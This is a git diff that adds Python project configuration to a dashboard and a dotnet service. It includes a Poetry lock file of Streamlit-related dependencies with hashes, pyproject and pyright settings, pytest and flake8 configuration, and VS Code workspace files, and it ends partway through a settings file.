+sqlcipher = ["sqlcipher3-binary"] + +[[package]] +name = "st-annotated-text" +version = "4.0.0" +description = "A simple component to display annotated text in Streamlit apps." +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "st-annotated-text-4.0.0.tar.gz", hash = "sha256:8337fcb3271c7f59a877e0fce5d822613116a4036d06890fc68cf840430b40aa"}, +] + +[package.dependencies] +htbuilder = "*" + +[[package]] +name = "streamlit" +version = "1.23.1" +description = "A faster way to build and share data apps" +category = "main" +optional = false +python-versions = ">=3.7, !=3.9.7" +files = [ + {file = "streamlit-1.23.1-py2.py3-none-any.whl", hash = "sha256:02cd55a95acd20d73ff03866956ba6e98d71041ee4728dbfef05cf17069d1bb9"}, + {file = "streamlit-1.23.1.tar.gz", hash = "sha256:af95a78f9d291f12f779cf66a2bdadfafd8a46fe4fcc6ed281492640ed37bf1e"}, +] + +[package.dependencies] +altair = ">=4.0,<6" +blinker = ">=1.0.0,<2" +cachetools = ">=4.0,<6" +click = ">=7.0,<9" +gitpython = ">=3,<3.1.19 || >3.1.19,<4" +importlib-metadata = ">=1.4,<7" +numpy = ">=1,<2" +packaging = ">=14.1,<24" +pandas = ">=0.25,<3" +pillow = ">=6.2.0,<10" +protobuf = ">=3.20,<5" +pyarrow = ">=4.0" +pydeck = ">=0.1.dev5,<1" +pympler = ">=0.9,<2" +python-dateutil = ">=2,<3" +requests = ">=2.4,<3" +rich = ">=10.11.0,<14" +tenacity = ">=8.0.0,<9" +toml = "<2" +tornado = ">=6.0.3,<7" +typing-extensions = ">=4.0.1,<5" +tzlocal = ">=1.1,<5" +validators = ">=0.2,<1" +watchdog = {version = "*", markers = "platform_system != \"Darwin\""} + +[package.extras] +snowflake = ["snowflake-snowpark-python"] + +[[package]] +name = "streamlit-aggrid" +version = "0.3.4.post3" +description = "Streamlit component implementation of ag-grid" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "streamlit-aggrid-0.3.4.post3.tar.gz", hash = "sha256:0cb9332199e7735289a673efabc913e1a3466cc188bc025bec2c50c32ab1989a"}, + {file = "streamlit_aggrid-0.3.4.post3-py3-none-any.whl", hash = "sha256:b909117eb90cfdb855b1c74e694e9ec97554c101baaafb7339eaf885d1f4e49c"}, +] + +[package.dependencies] +pandas = ">=1.2" +python-decouple = ">=3.6,<4.0" +streamlit = ">=0.87.0" + +[[package]] +name = "streamlit-authenticator" +version = "0.2.2" +description = "A secure authentication module to validate user credentials in a Streamlit application." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "streamlit-authenticator-0.2.2.tar.gz", hash = "sha256:9a3cea4524b99902e97a91f9e5bd2ba6f92f1ee5a126ac90c59195fbe83d74b9"}, +] + +[package.dependencies] +bcrypt = ">=3.1.7" +extra-streamlit-components = ">=0.1.55" +PyJWT = ">=2.3.0" +PyYAML = ">=5.3.1" +streamlit = ">=0.86" + +[[package]] +name = "streamlit-camera-input-live" +version = "0.2.0" +description = "Alternative version of st.camera_input which returns the webcam images live, without any button press needed" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "streamlit-camera-input-live-0.2.0.tar.gz", hash = "sha256:20ceb952b98410084176fcfeb9148e02ea29033a88d4a923161ac7890cedae0f"}, + {file = "streamlit_camera_input_live-0.2.0-py3-none-any.whl", hash = "sha256:dacb56cdedbb0d6c07e35a66b755b9145b5023e5c855c64193c3d3e73198e9be"}, +] + +[package.dependencies] +jinja2 = "*" +streamlit = ">=1.2" + +[[package]] +name = "streamlit-card" +version = "0.0.5" +description = "A streamlit component, to make UI cards" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "streamlit-card-0.0.5.tar.gz", hash = "sha256:c6656d57396a7498b25d557f63d06c7336738612bff11681256693be3628c30f"}, + {file = "streamlit_card-0.0.5-py3-none-any.whl", hash = "sha256:ccf13904b076d5d85618bb559cc1c1768874173f4f320e8e24a65b59f0d12342"}, +] + +[package.dependencies] +streamlit = ">=0.63" + +[[package]] +name = "streamlit-chat" +version = "0.0.2.2" +description = "A streamlit component, to make chatbots" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "streamlit-chat-0.0.2.2.tar.gz", hash = "sha256:539a526e680628b09ab5b06547fb1dd03aa846798c027002bb1e971e9fefd303"}, + {file = "streamlit_chat-0.0.2.2-py3-none-any.whl", hash = "sha256:cd5cda5672e8f9c882fdaaca0c2710465ae8d82bc44f5c1cc71fe89bc1c219cb"}, +] + +[package.dependencies] +streamlit = ">=0.63" + +[[package]] +name = "streamlit-cookies-manager" +version = "0.2.0" +description = "Access and save cookies from Streamlit" +category = "main" +optional = false +python-versions = ">=3.9,<4.0" +files = [ + {file = "streamlit-cookies-manager-0.2.0.tar.gz", hash = "sha256:498531778bd4a63267364e8986b3774319d3ba2f4ba65a92357196723966e4d4"}, + {file = "streamlit_cookies_manager-0.2.0-py3-none-any.whl", hash = "sha256:12503dc3367dfc2a780cb9e4a81ad791737806a7b9d1c25a006386e32aabe956"}, +] + +[package.dependencies] +cryptography = "*" +streamlit = ">=0.84" + +[[package]] +name = "streamlit-elements" +version = "0.1.0" +description = "React Components for Streamlit." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "streamlit-elements-0.1.0.tar.gz", hash = "sha256:5f9f116f22df3ce4a8636b1dee7c2fd3dc3cb0c66267fd28c3e0314aa1d303a7"}, + {file = "streamlit_elements-0.1.0-py3-none-any.whl", hash = "sha256:593c4b88c399c55879aa76f7f42970f30106f66acaa4baada6338ae5571790df"}, +] + +[package.dependencies] +streamlit = ">=1.4.0" + +[[package]] +name = "streamlit-embedcode" +version = "0.1.2" +description = "Streamlit component for embedded code snippets" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "streamlit-embedcode-0.1.2.tar.gz", hash = "sha256:22a50eb43407bab3d0ed2d4b58e89819da477cd0592ef87edbd373c286712e3a"}, + {file = "streamlit_embedcode-0.1.2-py3-none-any.whl", hash = "sha256:b3c9520c1b48f2eef3c702b5a967f64c9a8ff2ea8e74ebb26c0e9195965bb923"}, +] + +[package.dependencies] +streamlit = ">=0.63" + +[[package]] +name = "streamlit-extras" +version = "0.2.7" +description = "A library to discover, try, install and share Streamlit extras" +category = "main" +optional = false +python-versions = ">=3.8, !=2.7.*, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*, !=3.6.*, !=3.7.*" +files = [ + {file = "streamlit_extras-0.2.7-py3-none-any.whl", hash = "sha256:eea7c7bca24dcb2a6cf26e8990c2105d20ac7773fb253452ce5ed665cc032c98"}, + {file = "streamlit_extras-0.2.7.tar.gz", hash = "sha256:52a8cb3a4394735ee873c92c95fabf56d84cc2400ed0617bbc8b8259c0560276"}, +] + +[package.dependencies] +htbuilder = "0.6.1" +markdownlit = ">=0.0.5" +protobuf = "!=3.20.2" +st-annotated-text = ">=3.0.0" +streamlit = ">=1.0.0" +streamlit-camera-input-live = ">=0.2.0" +streamlit-card = ">=0.0.4" +streamlit-embedcode = ">=0.1.2" +streamlit-faker = ">=0.0.2" +streamlit-image-coordinates = ">=0.1.1,<0.2.0" +streamlit-keyup = ">=0.1.9" +streamlit-toggle-switch = ">=1.0.2" +streamlit-vertical-slider = ">=1.0.2" + +[[package]] +name = "streamlit-faker" +version = "0.0.2" +description = "streamlit-faker is a library to very easily fake Streamlit commands" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "streamlit_faker-0.0.2-py3-none-any.whl", hash = "sha256:93d3d910d9be3e60f07c21b28d2ed0487737e071e48ce1faf858e1f68e05b624"}, + {file = "streamlit_faker-0.0.2.tar.gz", hash = "sha256:3b6625fefb5c2bc759a3b2407c53c97b23cf69924ec31bd2fa7d5313b7691068"}, +] + +[package.dependencies] +faker = "*" +matplotlib = "*" +streamlit = "*" +streamlit-extras = "*" + +[[package]] +name = "streamlit-image-coordinates" +version = "0.1.3" +description = "Streamlit component that displays an image and returns the coordinates when you click on it" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "streamlit-image-coordinates-0.1.3.tar.gz", hash = "sha256:d0218bf2f575ce8553f24f6bc286f347f85f6dd2f36c96dc04b10dd6b74e27ca"}, + {file = "streamlit_image_coordinates-0.1.3-py3-none-any.whl", hash = "sha256:3933b60e48e8e3a9c08c02b38bdf7bc1cf4895856e45733f00f3045ef852b332"}, +] + +[package.dependencies] +jinja2 = "*" +streamlit = ">=1.2" + +[[package]] +name = "streamlit-keyup" +version = "0.2.0" +description = "Text input that renders on keyup" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "streamlit-keyup-0.2.0.tar.gz", hash = "sha256:5a38037af547163566eff9fec0ee17a7e3556e4bf99b68d44327c726b8ea85b3"}, + {file = "streamlit_keyup-0.2.0-py3-none-any.whl", hash = "sha256:7a187a40c3a95e3fea71be08e96e24c92c7054914e35c5bec3071be46f8a498e"}, +] + +[package.dependencies] +jinja2 = "*" +streamlit = ">=1.2" + +[[package]] +name = "streamlit-searchbox" +version = "0.1.3" +description = "Autocomplete Searchbox" +category = "main" +optional = false +python-versions = ">=3.7, !=3.9.7" +files = [ + {file = "streamlit-searchbox-0.1.3.tar.gz", hash = "sha256:694a233801ffdba19f0fe59df853c65378dc57d3ba09fdc31f616e1c86fc8444"}, + {file = "streamlit_searchbox-0.1.3-py3-none-any.whl", hash = "sha256:477780cc0d510c6edbc9b7d956451d830c919a9b05f2ba918a49516ccb805b60"}, +] + +[package.dependencies] +streamlit = ">=0.63" + +[package.extras] +dev = ["black", "isort", "ruff"] +tests = ["wikipedia"] + +[[package]] +name = "streamlit-toggle-switch" +version = "1.0.2" +description = "Creates a customizable toggle" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "streamlit_toggle_switch-1.0.2-py3-none-any.whl", hash = "sha256:0081212d80d178bda337acf2432425e2016d757f57834b18645d4c5b928d4c0f"}, + {file = "streamlit_toggle_switch-1.0.2.tar.gz", hash = "sha256:991b103cd3448b0f6507f8051777b996a17b4630956d5b6fa13344175b20e572"}, +] + +[package.dependencies] +streamlit = ">=0.63" + +[[package]] +name = "streamlit-vertical-slider" +version = "1.0.2" +description = "Creates a customizable vertical slider" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "streamlit_vertical_slider-1.0.2-py3-none-any.whl", hash = "sha256:ab727cd5c1799c1d9a19c6201ff2a9bcda08222c849c5670ad7a0d994c9fdcdc"}, + {file = "streamlit_vertical_slider-1.0.2.tar.gz", hash = "sha256:6eaee79a397341eee6ec7862b77d27d548d2bdd126812fd811f831bd4d561f48"}, +] + +[package.dependencies] +streamlit = ">=0.63" + +[[package]] +name = "tenacity" +version = "8.2.2" +description = "Retry code until it succeeds" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"}, + {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"}, +] + +[package.extras] +doc = ["reno", "sphinx", "tornado (>=4.5)"] + +[[package]] +name = "toml" +version = "0.10.2" +description = "Python Library for Tom's Obvious, Minimal Language" +category = "main" +optional = false +python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"}, + {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"}, +] + +[[package]] +name = "toolz" +version = "0.12.0" +description = "List processing tools and functional utilities" +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "toolz-0.12.0-py3-none-any.whl", hash = "sha256:2059bd4148deb1884bb0eb770a3cde70e7f954cfbbdc2285f1f2de01fd21eb6f"}, + {file = "toolz-0.12.0.tar.gz", hash = "sha256:88c570861c440ee3f2f6037c4654613228ff40c93a6c25e0eba70d17282c6194"}, +] + +[[package]] +name = "tornado" +version = "6.3.2" +description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." +category = "main" +optional = false +python-versions = ">= 3.8" +files = [ + {file = "tornado-6.3.2-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:c367ab6c0393d71171123ca5515c61ff62fe09024fa6bf299cd1339dc9456829"}, + {file = "tornado-6.3.2-cp38-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b46a6ab20f5c7c1cb949c72c1994a4585d2eaa0be4853f50a03b5031e964fc7c"}, + {file = "tornado-6.3.2-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2de14066c4a38b4ecbbcd55c5cc4b5340eb04f1c5e81da7451ef555859c833f"}, + {file = "tornado-6.3.2-cp38-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:05615096845cf50a895026f749195bf0b10b8909f9be672f50b0fe69cba368e4"}, + {file = "tornado-6.3.2-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b17b1cf5f8354efa3d37c6e28fdfd9c1c1e5122f2cb56dac121ac61baa47cbe"}, + {file = "tornado-6.3.2-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:29e71c847a35f6e10ca3b5c2990a52ce38b233019d8e858b755ea6ce4dcdd19d"}, + {file = "tornado-6.3.2-cp38-abi3-musllinux_1_1_i686.whl", hash = "sha256:834ae7540ad3a83199a8da8f9f2d383e3c3d5130a328889e4cc991acc81e87a0"}, + {file = "tornado-6.3.2-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6a0848f1aea0d196a7c4f6772197cbe2abc4266f836b0aac76947872cd29b411"}, + {file = "tornado-6.3.2-cp38-abi3-win32.whl", hash = "sha256:7efcbcc30b7c654eb6a8c9c9da787a851c18f8ccd4a5a3a95b05c7accfa068d2"}, + {file = "tornado-6.3.2-cp38-abi3-win_amd64.whl", hash = "sha256:0c325e66c8123c606eea33084976c832aa4e766b7dff8aedd7587ea44a604cdf"}, + {file = "tornado-6.3.2.tar.gz", hash = "sha256:4b927c4f19b71e627b13f3db2324e4ae660527143f9e1f2e2fb404f3a187e2ba"}, +] + +[[package]] +name = "typing-extensions" +version = "4.6.3" +description = "Backported and Experimental Type Hints for Python 3.7+" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "typing_extensions-4.6.3-py3-none-any.whl", hash = "sha256:88a4153d8505aabbb4e13aacb7c486c2b4a33ca3b3f807914a9b4c844c471c26"}, + {file = "typing_extensions-4.6.3.tar.gz", hash = "sha256:d91d5919357fe7f681a9f2b5b4cb2a5f1ef0a1e9f59c4d8ff0d3491e05c0ffd5"}, +] + +[[package]] +name = "tzdata" +version = "2023.3" +description = "Provider of IANA time zone data" +category = "main" +optional = false +python-versions = ">=2" +files = [ + {file = "tzdata-2023.3-py2.py3-none-any.whl", hash = "sha256:7e65763eef3120314099b6939b5546db7adce1e7d6f2e179e3df563c70511eda"}, + {file = "tzdata-2023.3.tar.gz", hash = "sha256:11ef1e08e54acb0d4f95bdb1be05da659673de4acbd21bf9c69e94cc5e907a3a"}, +] + +[[package]] +name = "tzlocal" +version = "4.3" +description = "tzinfo object for the local timezone" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tzlocal-4.3-py3-none-any.whl", hash = "sha256:b44c4388f3d34f25862cfbb387578a4d70fec417649da694a132f628a23367e2"}, + {file = "tzlocal-4.3.tar.gz", hash = "sha256:3f21d09e1b2aa9f2dacca12da240ca37de3ba5237a93addfd6d593afe9073355"}, +] + +[package.dependencies] +pytz-deprecation-shim = "*" +tzdata = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +devenv = ["black", "check-manifest", "flake8", "pyroma", "pytest (>=4.3)", "pytest-cov", "pytest-mock (>=3.3)", "zest.releaser"] + +[[package]] +name = "urllib3" +version = "1.26.16" +description = "HTTP library with thread-safe connection pooling, file post, and more." +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"}, + {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + +[[package]] +name = "validators" +version = "0.20.0" +description = "Python Data Validation for Humans™." +category = "main" +optional = false +python-versions = ">=3.4" +files = [ + {file = "validators-0.20.0.tar.gz", hash = "sha256:24148ce4e64100a2d5e267233e23e7afeb55316b47d30faae7eb6e7292bc226a"}, +] + +[package.dependencies] +decorator = ">=3.4.0" + +[package.extras] +test = ["flake8 (>=2.4.0)", "isort (>=4.2.2)", "pytest (>=2.2.3)"] + +[[package]] +name = "watchdog" +version = "3.0.0" +description = "Filesystem events monitoring" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:336adfc6f5cc4e037d52db31194f7581ff744b67382eb6021c868322e32eef41"}, + {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a70a8dcde91be523c35b2bf96196edc5730edb347e374c7de7cd20c43ed95397"}, + {file = "watchdog-3.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:adfdeab2da79ea2f76f87eb42a3ab1966a5313e5a69a0213a3cc06ef692b0e96"}, + {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2b57a1e730af3156d13b7fdddfc23dea6487fceca29fc75c5a868beed29177ae"}, + {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7ade88d0d778b1b222adebcc0927428f883db07017618a5e684fd03b83342bd9"}, + {file = "watchdog-3.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7e447d172af52ad204d19982739aa2346245cc5ba6f579d16dac4bfec226d2e7"}, + {file = "watchdog-3.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9fac43a7466eb73e64a9940ac9ed6369baa39b3bf221ae23493a9ec4d0022674"}, + {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:8ae9cda41fa114e28faf86cb137d751a17ffd0316d1c34ccf2235e8a84365c7f"}, + {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:25f70b4aa53bd743729c7475d7ec41093a580528b100e9a8c5b5efe8899592fc"}, + {file = "watchdog-3.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4f94069eb16657d2c6faada4624c39464f65c05606af50bb7902e036e3219be3"}, + {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7c5f84b5194c24dd573fa6472685b2a27cc5a17fe5f7b6fd40345378ca6812e3"}, + {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3aa7f6a12e831ddfe78cdd4f8996af9cf334fd6346531b16cec61c3b3c0d8da0"}, + {file = "watchdog-3.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:233b5817932685d39a7896b1090353fc8efc1ef99c9c054e46c8002561252fb8"}, + {file = "watchdog-3.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:13bbbb462ee42ec3c5723e1205be8ced776f05b100e4737518c67c8325cf6100"}, + {file = "watchdog-3.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8f3ceecd20d71067c7fd4c9e832d4e22584318983cabc013dbf3f70ea95de346"}, + {file = "watchdog-3.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c9d8c8ec7efb887333cf71e328e39cffbf771d8f8f95d308ea4125bf5f90ba64"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:0e06ab8858a76e1219e68c7573dfeba9dd1c0219476c5a44d5333b01d7e1743a"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:d00e6be486affb5781468457b21a6cbe848c33ef43f9ea4a73b4882e5f188a44"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:c07253088265c363d1ddf4b3cdb808d59a0468ecd017770ed716991620b8f77a"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:5113334cf8cf0ac8cd45e1f8309a603291b614191c9add34d33075727a967709"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:51f90f73b4697bac9c9a78394c3acbbd331ccd3655c11be1a15ae6fe289a8c83"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:ba07e92756c97e3aca0912b5cbc4e5ad802f4557212788e72a72a47ff376950d"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:d429c2430c93b7903914e4db9a966c7f2b068dd2ebdd2fa9b9ce094c7d459f33"}, + {file = "watchdog-3.0.0-py3-none-win32.whl", hash = "sha256:3ed7c71a9dccfe838c2f0b6314ed0d9b22e77d268c67e015450a29036a81f60f"}, + {file = "watchdog-3.0.0-py3-none-win_amd64.whl", hash = "sha256:4c9956d27be0bb08fc5f30d9d0179a855436e655f046d288e2bcc11adfae893c"}, + {file = "watchdog-3.0.0-py3-none-win_ia64.whl", hash = "sha256:5d9f3a10e02d7371cd929b5d8f11e87d4bad890212ed3901f9b4d68767bee759"}, + {file = "watchdog-3.0.0.tar.gz", hash = "sha256:4d98a320595da7a7c5a18fc48cb633c2e73cda78f93cac2ef42d42bf609a33f9"}, +] + +[package.extras] +watchmedo = ["PyYAML (>=3.10)"] + +[[package]] +name = "zipp" +version = "3.15.0" +description = "Backport of pathlib-compatible object wrapper for zip files" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "zipp-3.15.0-py3-none-any.whl", hash = "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"}, + {file = "zipp-3.15.0.tar.gz", hash = "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b"}, +] + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] + +[metadata] +lock-version = "2.0" +python-versions = "^3.11.2" +content-hash = "268b65b52c39a47d3cea2b3c970ff63aa6eb8f469b45342e3c0294abc1df1621" diff --git a/cmd/dashboard/poetry.toml b/cmd/dashboard/poetry.toml new file mode 100644 index 0000000..be97f1e --- /dev/null +++ b/cmd/dashboard/poetry.toml @@ -0,0 +1,3 @@ +[virtualenvs] +in-project = true +prefer-active-python = true \ No newline at end of file diff --git a/cmd/dashboard/pyproject.toml b/cmd/dashboard/pyproject.toml new file mode 100644 index 0000000..db69827 --- /dev/null +++ b/cmd/dashboard/pyproject.toml @@ -0,0 +1,59 @@ +[tool.poetry] +name = "dashboard" +version = "0.1.0" +description = "Main dashboard for interaction with Nemesis" +authors = ["SpecterOps "] +readme = "README.md" + +[tool.poetry.dependencies] +python = "^3.11.2" +streamlit = "^1.21.0" +streamlit-authenticator = "^0.2.1" +streamlit-extras = "^0.2.7" +sqlalchemy = "^2.0.9" +psycopg = "^3.1.8" +elasticsearch = "^8.7.0" +streamlit-aggrid = "^0.3.4.post3" +psycopg2 = "^2.9.6" +streamlit-chat = "^0.0.2.2" +streamlit-cookies-manager = "^0.2.0" +streamlit-searchbox = "^0.1.3" +requests = "^2.30.0" +streamlit-elements = "^0.1.0" + + +[tool.poetry.group.dev.dependencies] +debugpy = "^1.6.7" + +[build-system] +requires = ["poetry-core"] +build-backend = "poetry.core.masonry.api" + +[tool.isort] +import_heading_stdlib = "Standard Libraries" +import_heading_firstparty = "Nemesis Libraries" +import_heading_thirdparty = "3rd Party Libraries" +profile = "black" +extra_standard_library = "asgiref" +known_first_party = "nemesis" +src_paths = ["isort", "test"] +line_length = 90 +use_parentheses = true +multi_line_output = 3 +include_trailing_comma = true +ensure_newline_before_comments = true +sections = [ + "FUTURE", + "STDLIB", + "DJANGO", + "THIRDPARTY", + "FIRSTPARTY", + "LOCALFOLDER", +] + +# [tool.pyright] +# Using pyrightconfig.json instead since pyproject.toml has 2nd class +# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235 + +[tool.black] +line-length = 240 \ No newline at end of file diff --git a/cmd/dashboard/pyrightconfig.json b/cmd/dashboard/pyrightconfig.json new file mode 100644 index 0000000..102e0c9 --- /dev/null +++ b/cmd/dashboard/pyrightconfig.json @@ -0,0 +1,40 @@ +{ + "include": [ + "**/*.py" + ], + "exclude": [ + "**/__pycache__/**", + "**/.git/objects/**", + "**/.git/subtree-cache/**", + "**/.hg/store/**", + "**/.ipynb_checkpoints/**", + "**/.mypy_cache/**", + "**/.pytest_cache/**", + "**/.venv/**", + "**/*.egg-info/**", + "**/build/**", + "**/dist/**", + "**/node_modules/*/**", + "enrichment/lib/ext_tools/*", + ], + "executionEnvironments": [ + { + "root": ".", + "pythonVersion": "3.11", + "extraPaths": [ + "../../packages/python/nemesiscommon", + "../../packages/python/nemesispb", + ] + }, + ], + "ignore": [ + "enrichment/lib/ext_tools" + ], + "pythonVersion": "3.11", + "reportMissingImports": true, + "reportMissingTypeStubs": false, + "typeCheckingMode": "basic", + "useLibraryCodeForTypes": true, + "venvPath": ".", + "venv": ".venv" +} \ No newline at end of file diff --git a/cmd/dashboard/pytest.ini b/cmd/dashboard/pytest.ini new file mode 100644 index 0000000..a318d22 --- /dev/null +++ b/cmd/dashboard/pytest.ini @@ -0,0 +1,6 @@ +[pytest] +minversion = 6.0 +asyncio_mode = auto +addopts = -ra -q +testpaths = + tests diff --git a/cmd/dashboard/tests/__init__.py b/cmd/dashboard/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/dotnet/.flake8 b/cmd/dotnet/.flake8 new file mode 100644 index 0000000..2732aed --- /dev/null +++ b/cmd/dotnet/.flake8 @@ -0,0 +1,8 @@ +[flake8] +ignore = E231, E241 +per-file-ignores = + __init__.py:F401 + enrichment/lib/ext_tools/office2john.py:* +max-line-length = 240 +count = true +exclude = enrichment/lib/ext_tools \ No newline at end of file diff --git a/cmd/dotnet/.python-version b/cmd/dotnet/.python-version new file mode 100644 index 0000000..1e33456 --- /dev/null +++ b/cmd/dotnet/.python-version @@ -0,0 +1 @@ +3.11.2 diff --git a/cmd/dotnet/.vscode/extensions.json b/cmd/dotnet/.vscode/extensions.json new file mode 100644 index 0000000..5751efd --- /dev/null +++ b/cmd/dotnet/.vscode/extensions.json @@ -0,0 +1,16 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations. + // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp + // List of extensions which should be recommended for users of this workspace. + "recommendations": [ + "ms-python.black-formatter", + "ms-python.flake8", + "ms-python.isort", + "ms-python.python", + "ms-python.vscode-pylance", + "njpwerner.autodocstring", + "zxh404.vscode-proto3", + ], + // List of extensions recommended by VS Code that should not be recommended for users of this workspace. + "unwantedRecommendations": [] +} \ No newline at end of file diff --git a/cmd/dotnet/.vscode/launch.json b/cmd/dotnet/.vscode/launch.json new file mode 100644 index 0000000..914b68c --- /dev/null +++ b/cmd/dotnet/.vscode/launch.json @@ -0,0 +1,25 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Service: dotnet", + "type": "python", + "request": "launch", + "program": "${workspaceFolder}/dotnet/__main__.py", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": true, + "env": { + "LOG_LEVEL": "DEBUG", + "ENVIRONMENT": "development", + "PROMETHEUS_PORT": "18000", + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + }, + } + ] +} \ No newline at end of file diff --git a/cmd/dotnet/.vscode/settings.json b/cmd/dotnet/.vscode/settings.json new file mode 100644 index 0000000..13e33e0 --- /dev/null +++ b/cmd/dotnet/.vscode/settings.json @@ -0,0 +1,64 @@ +{ + "[javascript]": { + "editor.formatOnSave": false + }, + "[html]": { + "editor.formatOnSave": false + }, + "[python]": { + "editor.formatOnSave": true, + "editor.codeActionsOnSave": { + "source.organizeImports": true + }, + "editor.defaultFormatter": "ms-python.black-formatter" + }, + "editor.formatOnSave": true, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.mypy_cache": true, + "**/.pytest_cache": true, + "**/.svn": true, + 